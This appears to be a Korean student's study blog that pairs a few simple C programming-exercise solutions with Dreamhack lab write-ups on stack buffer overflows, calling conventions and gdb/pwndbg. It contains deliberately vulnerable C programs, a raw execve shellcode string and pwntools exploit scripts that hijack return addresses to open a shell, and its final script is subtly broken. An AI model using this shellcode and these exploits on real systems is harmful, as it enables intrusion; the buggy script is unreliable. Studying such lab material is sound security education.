No. 2675

#include<stdio.h>
#include<string.h>
int main()
{
	int tc, i, re, j, k;
	char str[21];
	scanf("%d", &tc);
	for (i = 0; i < tc; i++) {
		scanf("%d %s", &re, str);
		for (j = 0; j < strlen(str); j++) {
			for (k = 0; k < re; k++) {
				printf("%c", str[j]);
			}
		}
		printf("\n");
	}

}

코드 설명 : 먼저 테스트케이스를 입력받고 그만큼 반복문을 돌려주도록 하였다. 반복문 내에서 반복할 횟수인 re와 문자 배열인 str을 입력받아주었다. 그 배열의 길이만큼 반복시키고 그 내에서 반복할 횟수인 re만큼 반복시켜 str[j]를 출력하도록 하였다. 이는 str의 원소를 앞에서부터 하나씩 re만큼 반복시킬 수 있도록 한 것이다. 그리고 반복해서 모두 출력을 완료하면 그 for문 밖에서 줄바꿈을 해주도록 하였다.

 

No. 2739

#include<stdio.h>
int main()
{
	int n, i;
	scanf("%d", &n);
	for (i = 1; i <= 9; i++) {
		printf("%d * %d = %d\n", n, i, n * i);
	}
}

코드 설명 : n단을 출력하기 위해 n을 입력받았다. n을 각 1에서 9까지 곱해주어야하기 때문에 for문으로 i가 1에서 9까지 n * i = n*i를 출력하도록 하였다. 

 

No. 2741

#include<stdio.h>
int main()
{
	int n, i;
	scanf("%d", &n);
	for (i = 1; i <= n; i++) {
		printf("%d\n", i);
	}
}

코드 설명 : 먼저 n을 입력받았다. 1부터 n까지 출력해야 하므로 for문으로 i가 1에서 n일때까지 i를 반복시켜 출력시켜주었다

[함께실습] Stack Buffer Overflow

 

분석

▶ 취약점 분석

scanf(“%s”, buf) : 문자열을 입력받을 때 사용

특징 : 입력의 길이를 제한 X, 공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받음

→ 이 특징으로 인해 실수로 또는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다. 따라서 scanf에 %s 포맷 스트링은 사용하지 말아야 하며, n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 한다.

 

이외에도, C/C++의 표준 함수 중, 버퍼를 다루면서 길이를 입력하지 않는 함수들은 대부분 위험하다고 생각해야 한다. strcpy, strcat, sprintf 대신 버퍼의 크기를 같이 입력하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직하며, 프로그램의 취약점을 찾을 때는 취약한 함수들이 사용되지 않았는지 유의해서 살펴보는 것이 좋다.

 

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

이 코드에서는 크기가 0x28인 버퍼에 scanf(“%s”, buf)로 입력을 받으므로, 입력을 길게 준다면 버퍼 오버플로우를 발생시켜서 main함수의 반환 주소를 덮을 수 있을 것이다.

 

▶ 트리거

: 취약점을 발현시킴

AAAAA만 입력해주었을 때는 프로그램이 정상적으로 종료되었다.

하지만 A를 64개 입력하였더니 Segmentation fault 에러가 발생하며 프로그램이 비정상적으로 종료되었다.

Segmentation fault(core dumped) 에러
: 프로그램이 잘못된 메모리 주소에 접근했다는 의미, 프로그램에 버그가 발생했다는 신호
- core dumped : 코어파일(core)을 생성했다는 것으로 프로그램이 비정상 종료되었을 때 디버깅을 돕기 위해 운영체제가 생성해주는 것

 

※ 코어 파일이 생성되지 않았을 때

리눅스는 기본적으로 코어 파일의 크기에 제한을 두고 있다. 바이너리가 세그먼테이션 폴트를 발생시키고도 코어파일을 생성하지 않았다면, 생성해야할 코어파일의 크기가 이를 초과했기 때문이다.

다음 커맨드로 그 제한을 해제하고, 다시 오류를 발생시키면 코어 파일을 얻을 수 있다.

$ ulimit -c unlimited

 

▶ 코어 파일 분석

gdb에는 코어 파일을 분석하는 기능이 있다. 이를 이용하여 입력이 스택에 어떻게 저장됐는지 살펴보고, 셸을 획득하기 위한 계획을 세울 수 있다.

$ gdb -c core

이 명령어로 코어 파일을 연다. 프로그램이 종료된 원인이 나타나고, 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 보여준다.

 

컨텍스트에서 디스어셈블된 코드와 스택을 관찰하면, 프로그램이 main함수에서 반환하려고 하는데, 스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA')라는 것을 알 수 있다. 이는 실행가능한 메모리의 주소가 아니므로 세그먼테이션 폴트가 발생한 것이다. 이 값이 원하는 코드 주소가 되도록 적절한 입력을 주면, main함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있을 것이다.

 

익스플로잇

▶ 스택 프레임 구조 파악

스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 알아야 한다. 이를 위해 main의 어셈블리 코드 중 scanf에 인자를 전달하는 부분을 자세히 살펴보자.

scanf("%s", (rbp-0x30));

오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치한다. 스택 프레임의 구조를 떠올려 보면, rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장된다.

 

▶ get_shell() 주소 확인

void get_shell(){
   char *cmd = "/bin/sh";
   char *args[] = {cmd, NULL};
   execve(cmd, args, NULL);
}

get_shell()의 주소가 0x411dd임을 확인했다.

 

▶ 페이로드 구성

페이로드 : 공격을 위해 프로그램에 전달하는 데이터

 

▶ 엔디언 적용

구성한 페이로드는 적절한 엔디언을 적용해서 프로그램에 전달해야 한다.

엔디언 : 메모리에서 데이터가 정렬되는 방식

리틀 엔디언 : 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장
빅 엔디언 : 데이터의 MSB가 가장 낮은 주소에 저장

아래 사진과 같이 0x12345678는 엔디언에 따라 다르게 저장된다.

 

0x4005a7이 메모리에 어떻게 저장되는지 살펴보자

// Name: endian.c
// Compile: gcc -o endian endian.c
#include <stdio.h>
int main() {
  unsigned long long n = 0x4005a7;
  printf("Low <-----------------------> High\n");
  for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i));
  return 0;
}

 

▶ 익스플로잇

엔디언을 적용하여 페이로드를 작성하고, 이를 다음의 커맨드로 rao에 전달하면 셸을 획득할 수 있다. 커맨드는 파이썬으로 출력한 페이로드를 rao의 입력으로 전달한다.

$ (python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./rao

이렇게 하면 셸을 획득할 수 있다.

 

부록: 취약점 패치

▶ 취약점 패치

취약점을 발견하는 것만큼 중요한 것이 발견한 취약점을 패치하는 것이다. 

 

▶ rao

rao에서는 위험한 문자열 입력함수를 사용하여 취약점이 발생했다.

 

< C언어에서 자주 사용되는 문자열 입력 함수와 패턴들과 특징 >


실습

main() 함수 중 scanf 부분에서 버그가 발생한다.

따라서 buf(0x30)+ SFP(8)를 nop으로 덮고 ret 영역을 get_shell() 주소로 덮어주어야 한다.

buf의 크기가 0x28 byte지만 0x30만큼 rbp로부터 빼주었기 때문에 0x30byte로 계산해준다.

from pwn import *
p = remote("host1.dreamhack.games", 포트번호)
code = b"a" * 0x38
code += p64(0x4006aa)
p.sendline(code) 
p.interactive()


[혼자실습] Stack Buffer Overflow

 

basic_exploitation_000

먼저 실행해보았더니 buf = (0x7ffe7258e780)이 출력되었다. 그리고 이 메모리 주소는 실행할 때마다 바뀌었다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

문제 내 c코드를 확인해보았다.

 

- main 함수

char형 buf의 길이가 0x80으로 설정되어 있었다. 이를 10진수로 바꿔보면 128이 되므로 128byte이다.

initialize 함수가 호출되며 buf의 주소값을 출력해주었다. 그리고 141길이의 문자열을 입력받아 buf에 저장해준다.

 

- initialize 함수

30초 지나면 TIME OUT를 출력해준다.

 

스택 : 0x80 | SFP | RET

scanf에서는 141만큼의 문자열을 입력받지만 buf의 크기는 128이다. 따라서 오버플로우가 발생할 것이다. 

buf(128) + sfp(4) = 132byte 이므로 ret까지 도달하기 위해서 필요한 크기는 132byte 이다.

26 byte 셸코드(scanf 입력받을 때)
:\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

나머지 문자열 크기 : 132 - 26 = 106byte

 

→ code = 셸코드 + a*106 + buf문자열

from pwn import *
p = remote("host1.dreamhack.games", 포트번호)
p.recvuntil("buf = (")
add = int(p.recv(10), 16)
code = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code += b"A"*106 
code += p32(add)
p.send(code)
p.interactive()

출력 형식이 buf = (%p) 이므로 내가 원하는 괄호 내 숫자만 얻기 위해 p.recvuntil을 이용해 "buf = (" 다음부터 받도록 했다.  buf주소 10byte를 16진수로 받아 add에 저장하였다. 그리고 26바이트 셸코드와 A 10개를 code에 추가해주고 32bit little endian방식으로 add를 packing해주어 code에 추가하였다.

 

이를 실행해보았다.

ls로 flag파일이 있음을 확인하고 cat을 이용해 flag을 열어주어 찾을 수 있었다.

 

basic_exploitation_001

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

basic_exploitation_000과 다른점

- main함수에서 gets로 buf를 입력받는다. 이는 오버플로우를 발생시킬 수 있다.

- void read_flag()가 있다. 이는 system 명령어로 flag를 cat명령어를 통해 보여주도록 하는것이다.

 

스택 : 0x80 | SFP | RET

buf(128) + sfp(4) = 132byte

from pwn import *

p = remote("host1.dreamhack.games", 포트번호)

code = b"A" * 132
code += p32(0x080485b9)

p.sendline(code) 
p.interactive()

code에 132개의 A를 넣어주고 read_flag함수의 시작주소를 넣어주었다.

이를 실행해보았다.

flag를 찾을 수 있었다.

[ STACK BUFFER OVERFLOW ]

 

Calling Convention

▶ 함수 호출 규약

: 함수의 호출 및 반환에 대한 약속

 

한 함수에서 다른 함수를 호출할 때, 프로그램의 실행 흐름은 다른 함수로 이동하고 호출한 함수가 반환하면, 다시 원래의 함수로 돌아와서 기존의 실행 흐름을 이어나간다. 그러므로 함수를 호출할 때는 반환된 이후를 위해 호출자(Caller)의 상태(Stack frame) 및 반환 주소(Return Address)를 저장해야 한다. 또한, 호출자는 피호출자(Callee)가 요구하는 인자를 전달해줘야 하며, 피호출자의 실행이 종료될 때는 반환 값을 전달받아야 한다.

컴파일러의 도움 없이 어셈블리 코드를 작성하려 하거나, 또는 어셈블리로 작성된 코드를 읽고자 한다면 함수 호출 규약을 알아야 한다.

 

▶ 함수 호출 규약 종류

컴파일러는 지원하는 호출 규약 중, CPU 아키텍처에 적합한 것을 선택한다.

 

ex 1) x86(32bit) 아키텍처는 레지스터를 통해 피호출자의 인자를 전달하기에는 레지스터의 수가 적으므로, 스택으로 인자를 전달하는 규약을 사용

ex2 ) x86-64 아키텍처에서는 레지스터가 많으므로 적은 수의 인자는 레지스터만 사용해서 인자를 전달하고, 인자가 너무 많을 때만 스택을 사용

 

CPU의 아키텍처가 같아도, 컴파일러가 다르면 적용하는 호출 규약이 다를 수 있다. C언어를 컴파일할 때, 윈도우에서는 MSVC를, 리눅스에서는 gcc를 많이 사용한다. 이 둘은 같은 아키텍처에 대해서도 다른 호출 규약을 적용한다. x86-64 아키텍처에서 MSVC는 MS x64 호출 규약을 적용하지만, gcc는 SYSTEM V 호출 규약을 적용한다. 이 외에 같은 호출 규약을 컴파일러마다 다르게 구현하기도 한다.

x86호출 규약: cdecl

▶ cdecl

x86아키텍처는 레지스터의 수가 적으므로, 스택을 통해 인자를 전달한다. 또한, 인자를 전달하기 위해 사용한 스택을 호출자가 정리하는 특징이 있다. 스택을 통해 인자를 전달할 때는, 마지막 인자부터 첫 번째 인자까지 거꾸로 스택에 push한다.

 

- cdecl 함수 호출 규약

void __attribute__((cdecl)) callee(int a1, int a2){ // cdecl로 호출
}
void caller(){
   callee(1, 2);
}

위 코드를 어셈블리어로 컴파일한 결과

컴파일

: 어떤 언어로 작성된 소스 코드(Source Code)를, 다른 언어의 목적 코드(Object Code)로 번역하는 것

소스 코드를 어셈블리어로, 또는 소스 코드를 기계어로 번역하는 행위 모두 컴파일의 범주에 포함된다.

C언어를 실행 가능한 바이너리로 만드는 과정을 보통 전처리, 컴파일, 어셈블, 링크의 4단계로 구분하는데, 이를 합해서 ‘컴파일’이라고 부를 수 있는 것도 위와 같은 이유이다.

 

x86-64호출 규약: SYSV

▶ SYSV

리눅스는 SYSTEM V(SYSV) Application Binary Interface(ABI)를 기반으로 만들어졌다.

SYSV ABI는 ELF 포맷, 링킹 방법, 함수 호출 규약 등의 내용을 담고 있다.

file 명령어를 이용해 바이너리 정보를 살펴보면 SYSV문자열이 포함되어있다.

< SYSV에서 정의한 함수 호출 규약 >

  1. 6개의 인자를 RDI, RSI, RDX, RCX, R8, R9에 순서대로 저장하여 전달합니다. 더 많은 인자를 사용해야 할 때는 스택을 추가로 이용합니다.
  2. Caller에서 인자 전달에 사용된 스택을 정리합니다.
  3. 함수의 반환 값은 RAX로 전달합니다.
// Name: sysv.c
// Compile: gcc -fno-asynchronous-unwind-tables  -masm=intel \
//         -fno-omit-frame-pointer -S sysv.c -fno-pic -O0
#define ull unsigned long long
int callee(ull a1, int a2, int a3, int a4, int a5, int a6, int a7) {
  ull ret = a1 + a2 + a3 + a4 + a5 + a6 + a7;
  return ret;
}
void caller() { callee(123456789123456789, 2, 3, 4, 5, 6, 7); }
int main() { caller(); }

▶ SYSV

1. 인자 전달

gdb로 sysv를 로드한 후 중단점을 설정하여 caller함수까지 실행한다. context의 DISASM을 보면, caller+6부터 caller+33까지 6개의 인자를 각각의 레지스터에 설정하고 있으며, caller+4에서는 7번째 인자인 7을 스택으로 전달하고 있다.

 

소스 코드에서 callee(123456789123456789, 2, 3, 4, 5, 6, 7)로 함수를 호출했는데, 인자들이 순서대로 rdi, rsi, rdx, rcx, r8, r9 그리고 [rsp]에 설정되어 있는 것을 확인할 수 있다.

 

2. 반환 주소 저장

si명령어로 한 단계 더 실행시킨다. call 이 실행되고 스택을 확인해보면 0x5555555551b9가 반환 주소로 저장되어 있다. gdb로 확인해보면 0x5555555551b9는 callee호출 다음 명령어의 주소이다. callee에서 반환됐을 때, 이 주소를 꺼내어 원래의 실행 흐름으로 돌아갈 수 있다.

 

3. 스택 프레임 저장

x/5i $rip명령어로 callee함수의 도입부(Prologue)를 살펴보면, 가장 먼저 push rbp를 통해 호출자의 rbp를 저장하고 있다. rbp가 스택프레임의 가장 낮은 주소를 가리키는 포인터이므로, 이를 Stack Frame Pointer(SFP)라고도 부른다.

callee에서 반환될 때, SFP를 꺼내어 caller의 스택 프레임으로 돌아갈 수 있다.

si로 push rbp를 실행하고, 스택을 확인해보면 rbp값인 0x00007fffffffdf98이 저장된 것을 확인할 수 있다.

 

4. 스택 프레임 할당

mov rbp, rsp로 rbp와 rsp가 같은 주소를 가리키게 한다. 바로 다음에 rsp의 값을 빼게 되면, rbp와 rsp의 사이 공간을 새로운 스택 프레임으로 할당하는 것이지만, callee 함수는 지역 변수를 사용하지 않으므로, 새로운 스택 프레임을 만들지 않는다.

si로 실행하고, 레지스터를 보면 이 둘이 같은 주소를 가리키는 것을 확인할 수 있다.

 

5. 반환값 전달

덧셈 연산을 모두 마치고, 함수의 종결부(Epilogue)에 도달하면, 반환값을 rax에 옮긴다. 반환 직전에 rax를 출력하면 전달한 7개 인자의 합인 123456789123456816을 확인할 수 있다.

 

6. 반환

반환은 저장해뒀던 스택 프레임과 반환 주소를 꺼내면서 이루어진다. 여기서는 callee 함수가 스택 프레임을 만들지 않았기 때문에, pop rbp로 스택 프레임을 꺼낼 수 있지만, 일반적으로 leave로 스택 프레임을 꺼낸다.

스택 프레임을 꺼낸 뒤에는, ret로 호출자로 복귀한다. 앞에서 저장해뒀던 sfp로 rbp가, 반환 주소로 rip가 설정된 것을 확인할 수 있다.

 

▶ 요약


[ Memory Corruption: Stack Buffer Overflow ]

 

스택 버퍼 오버플로우

▶ 버퍼 오버플로우

스택 오버플로우 : 스택 영역이 너무 많이 확장돼서 발생하는 버그

스택 버퍼 오버플로우 : 스택에 위치한 버퍼에 버퍼의 크기보다 많은 데이터가 입력되어 발생하는 버그

 

- 버퍼

: 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소

 

데이터의 처리속도가 다른 두 장치가 있을 때, 이 둘 사이에 오가는 데이터를 임시로 저장해 두는 것은 일종의 완충 작용을 한다. 버퍼를 통해 간접적으로 데이터를 전달하게 한다. 송신 측은 버퍼로 데이터를 전송하고, 수신 측은 버퍼에서 데이터를 꺼내 사용한다. 이렇게 하면 버퍼가 가득 찰 때까지는 유실되는 데이터 없이 통신할 수 있니다. 빠른 속도로 이동하던 데이터가 안정적으로 목적지에 도달할 수 있도록 완충 작용을 하는 것이 버퍼의 역할이라고 할 수 있다.

현대에는 이런 완충의 의미가 많이 희석되어 데이터가 저장될 수 있는 모든 단위를 버퍼라고 부른다.

스택 버퍼 : 스택에 있는 지역 변수
힙 버퍼 : 힙에 할당된 메모리 영역

 

- 버퍼 오버플로우

: 버퍼가 넘치는 것

버퍼는 제각기 크기를 가지고 있는데, int로 선언한 지역 변수는 4바이트의 크기를 갖고, 10개의 원소를 갖는 char배열은 10바이트의 크기를 갖는다. 만약 10바이트 크기의 버퍼에 20바이트 크기의 데이터가 들어가려 하면 오버플로우가 발생한다. 일반적으로 버퍼는 메모리상에 연속해서 할당되어 있으므로, 어떤 버퍼에서 오버플로우가 발생하면, 뒤에 있는 버퍼들의 값이 조작될 위험이 있다

버퍼 오버플로우는 일반적으로 어떤 메모리 영역에서 발생해도 큰 보안 위협으로 이어진다.

 

▶ 중요 데이터 변조

버퍼 오버플로우가 발생하는 버퍼 뒤에 중요한 데이터가 있다면, 해당 데이터가 변조됨으로써 문제가 발생할 수 있다.

ex) 입력 데이터에서 악성 데이터를 감지하여 경고해주는 프로그램이 있을 때, 악성의 조건이 변경되면 악성 데이터에도 알람이 울리지 않을 수 있다. 

// Name: sbof_auth.c
// Compile: gcc -o sbof_auth sbof_auth.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_auth(char *password) {
    int auth = 0;
    char temp[16];
    
    strncpy(temp, password, strlen(password));
    
    if(!strcmp(temp, "SECRET_PASSWORD"))
        auth = 1;
    
    return auth;
}
int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: ./sbof_auth ADMIN_PASSWORD\n");
        exit(-1);
    }
    
    if (check_auth(argv[1]))
        printf("Hello Admin!\n");
    else
        printf("Access Denied!\n");
}

main 함수는 argv[1]을 check_auth 함수의 인자로 전달한 후, 반환 값을 받아온다. 이 때, 반환 값이 0이 아니라면 "Hello Admin!"을, 0이라면 "Access Denied!"라는 문자열을 출력한다.

 

check_auth함수에서는 16 바이트 크기의 temp버퍼에 입력받은 패스워드를 복사한 후, 이를 "SECRET_PASSWORD" 문자열과 비교한다. 문자열이 같다면 auth를 1로 설정하고 반환한다.

 

그런데 check_auth에서 strncpy 함수를 통해 temp버퍼를 복사할 때, temp의 크기인 16 바이트가 아닌 인자로 전달된 password의 크기만큼 복사한다. 그러므로  argv[1]에 16 바이트가 넘는 문자열을 전달하면, 이들이 모두 복사되어 스택 버퍼 오버플로우가 발생하게 된다.

 

auth는 temp버퍼의 뒤에 존재하므로, temp버퍼에 오버플로우를 발생시키면 auth의 값을 0이 아닌 임의의 값으로 바꿀 수 있다. 이 경우, 실제 인증 여부와는 상관없이 main함수의 if(check_auth(argv[1])) 는 항상 참이 된다.

 

- SECRET_PASSWORD 문자열과 동일할 때

 

- SECRET_PASSWORD 문자열과 동일하지 않을 때

 

- temp버퍼에 오버플로우를 발생시킬 때

temp버퍼에 오버플로우를 발생시키면 auth의 값을 0이 아닌 임의의 값으로 바꿀 수 있어 인증이 안되었지만 main함수의 if(check_auth(argv[1])) 가 참이 되었다.

 

▶ 데이터 유출

C언어에서 정상적인 문자열은 널바이트로 종결되며, 표준 문자열 출력 함수들은 널바이트를 문자열의 끝으로 인식한다. 만약 어떤 버퍼에 오버플로우를 발생시켜서 다른 버퍼와의 사이에 있는 널바이트를 모두 제거하면, 해당 버퍼를 출력시켜서 다른 버퍼의 데이터를 읽을 수 있다. 획득한 데이터는 각종 보호기법을 우회하는데 사용될 수 있으며, 해당 데이터 자체가 중요한 정보일 수도 있다.

// Name: sbof_leak.c
// Compile: gcc -o sbof_leak sbof_leak.c -fno-stack-protector
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void) {
  char secret[16] = "secret message";
  char barrier[4] = {};
  char name[8] = {};
  memset(barrier, 0, 4);
  printf("Your name: ");
  read(0, name, 12);
  printf("Your name is %s.", name);
}

8바이트 크기의 name 버퍼에 12바이트의 입력을 받는다. 읽고자 하는 데이터인 secret버퍼와의 사이에 barrier라는 4바이트의 널 배열이 존재하는데, 오버플로우를 이용하여 널 바이트를 모두 다른 값으로 변경하면 secret을 읽을 수 있다.

 

name버퍼에 abcdefghijkl로 총 12바이트의 입력을 해주었다. 원래 name 버퍼 크기는 8바이트이므로 오버플로우가 되었고 이 때문에 뒤에 secret message가 추가적으로 붙은 것을 확인할 수 있다.

 

▶ 실행 흐름 조작

함수를 호출할 때 반환 주소를 스택에 쌓고, 함수에서 반환될 때 이를 꺼내어 원래의 실행 흐름으로 돌아간다 .이를 공격자의 관점에서 바라보면, '스택 버퍼 오버플로우로 반환 주소(Return Address)를 조작하면 어떻게 될까'하는 궁금증을 가져볼 수 있다. 그리고 실제로, 함수의 반환 주소를 조작하면 프로세스의 실행 흐름을 바꿀 수 있다.

// Name: sbof_ret_overwrite.c
// Compile: gcc -o sbof_ret_overwrite sbof_ret_overwrite.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
int main(void) {
    char buf[8];
    printf("Overwrite return address with 0x4141414141414141: ");
    gets(buf);
    return 0;
}

 

gdb

디버거 : 버그를 없애기 위해 사용하는 도구

▶ gdb & pwndbg

#include <stdio.h>
int main(void) {
  int sum = 0;
  int val1 = 1;
  int val2 = 2;
  sum = val1 + val2;
  printf("1 + 2 = %d\\n", sum);
  return 0;
}

- start

: 진입점부터 프로그램을 분석할 수 있게 해주는 gdb의 명령어

 

리눅스 실행파일 형식 : ELF(Executable and Linkable Format)

ELF : 헤더(실행에 필요한 여러 정보) + 여러 섹션(컴파일된 기계어 코드, 프로그램 문자열 등 데이터)

헤더 중 진입점이라는 필드가 있는데 운영체제가 ELF를 실행할 때, 진입점의 값부터 실행한다.

readelf로 확인해본 결과 debugee의 진입점은 0x401050이다.

 

- context

pwndbg는 주요 메모리들의 상태를 프로그램이 실행되고 있는 맥락(Context)이라고 부르며, 이를 가독성 있게 표현할 수 있는 인터페이스를 갖추고 있다.

  1. registers: 레지스터의 상태를 보여준다.
  2. disasm: rip부터 여러 줄에 걸쳐 디스어셈블된 결과를 보여준다.
  3. stack: rsp부터 여러 줄에 걸쳐 스택의 값들을 보여준다.
  4. backtrace: 현재 rip에 도달할 때까지 어떤 함수들이 중첩되어 호출됐는지 보여준다.

이들은 어셈블리를 실행할 때마다 갱신되어 방금 실행한 어셈블리 명령어가 메모리에 어떤 영향을 줬는지 쉽게 파악할 수 있게 돕는다.

 

- break & continue

break : 특정 주소에 중단점을 설정하는 기능

continue : 중단된 프로그램을 계속 실행시키는 기능

 

- run

: 단순히 실행만 시킨다. 중단점을 설정해놓지 않았다면 프로그램이 끝까지 멈추지 않고 실행된다. 

위에서 main에 breakpoint를 설정해놨기 때문에 main에서 실행이 멈춘다.

 

이 외 gdb 명령어

si: step into
ni: next instruction
i: info
k: kill
pd: pdisas

 

- disassembly

disassemble : gdb가 기본적으로 제공하는 디스어셈블 명령어

함수 이름을 인자로 전달하면 해당 함수가 반환될 때 까지 전부 디스어셈블하여 보여준다.

디스어셈블 명령어 : u, nearpc, pdisassemble - 디스어셈블된 코드를 가독성 좋게 출력해줌

 

- navigate

관찰하고자 하는 함수의 중단점에 도달했으면 명령어를 한 줄씩 분석해야 하는데 이 때 ni, si 명령어를 사용한다.

  ni(next instruction) si(step into)
공통점 어셈블리 명령어를 한 줄 실행
차이점(call 등을 통해 서브루틴 호출) 서브루틴의 내부로 들어가지 않음 서브루틴 내부로 들어감
사용 함수 내부까지 궁금 X 함수 내부까지 궁금 O

si를 사용하면 printf 함수 내부까지도 rip가 이동한다. 

 

si로 함수 내부에 들어가 필요한 부분을 모두 분석했는데 함수 규모가 커서 원래 실행 흐름으로 돌아가기 어렵다면 finish 명령어를 이용해 함수의 끝까지 한번에 실행할 수 있다.

 

- examine

프로그램을 분석하다 보면 가상 메모리에 존재하는 임의 주소의 값을 관찰해야할 때가 있다. x를 이용하면 특정 주소에서 원하는 길이만큼의 데이터를 원하는 형식으로 인코딩하여 볼수 있습니다.

rsp부터 80바이트를 8바이트씩 hex형식으로 출력
rip부터 10줄의 어셈블리 명령어 출력
특정 주소의 문자열 출력

 

- telescope

: pwndbg가 제공하는 강력한 메모리 덤프 기능

특정 주소의 메모리 값과 메모리가 참조하고 있는 주소를 재귀적으로 탐색하여 값을 보여준다.

 

- vmmap

: 가상 메모리의 레이아웃

어떤 파일이 매핑된 영역일 경우, 해당 파일의 경로까지 보여준다.

 

- gdb / python

gdb를 통해 디버깅할 때 직접 입력할 수 없을 때가 있다. 예를 들어, 숫자와 알파벳이 아닌 값을 입력하는 상황이다. 이러한 값은 이용자가 직접 입력할 수 없는 값이기 때문에 파이썬으로 입력값을 생성하고, 이를 사용해야 한다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
	char name[20];
	if( argc < 2 ) {
		printf("Give me the argv[2]!\n");
		exit(0);
	}
	memset(name, 0, sizeof(name));
	printf("argv[1] %s\n", argv[1]);
	read(0, name, sizeof(name)-1);
	printf("Name: %s\n", name);
	return 0;
}

 

- python argv

run 명령어의 인자로 $()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다.

 

- python input

$()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다. 입력값으로 전달하기 위해서 '<<<'문자를 사용한다.

위 코드는 argv[1]에 임의의 값을 전달하고 값을 입력하는 명령어다.


pwntools

이론은 밑에 링크에 작성해두었으므로 넘어감

https://sbcho0325.tistory.com/45

 

pwntools 실습

▶rao 익스플로잇

- rao 예제 코드

#include <stdio.h>
#include <unistd.h>
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

 

- pwntools로 rao 익스플로잇

from pwn import *

p = process('./rao')
get_shell = 0x4005a7

payload = b"A"*0x30
payload = b"B"*0x8
payload = p64(get_shell)

p.sendline(payload)
p.interactive

+ Recent posts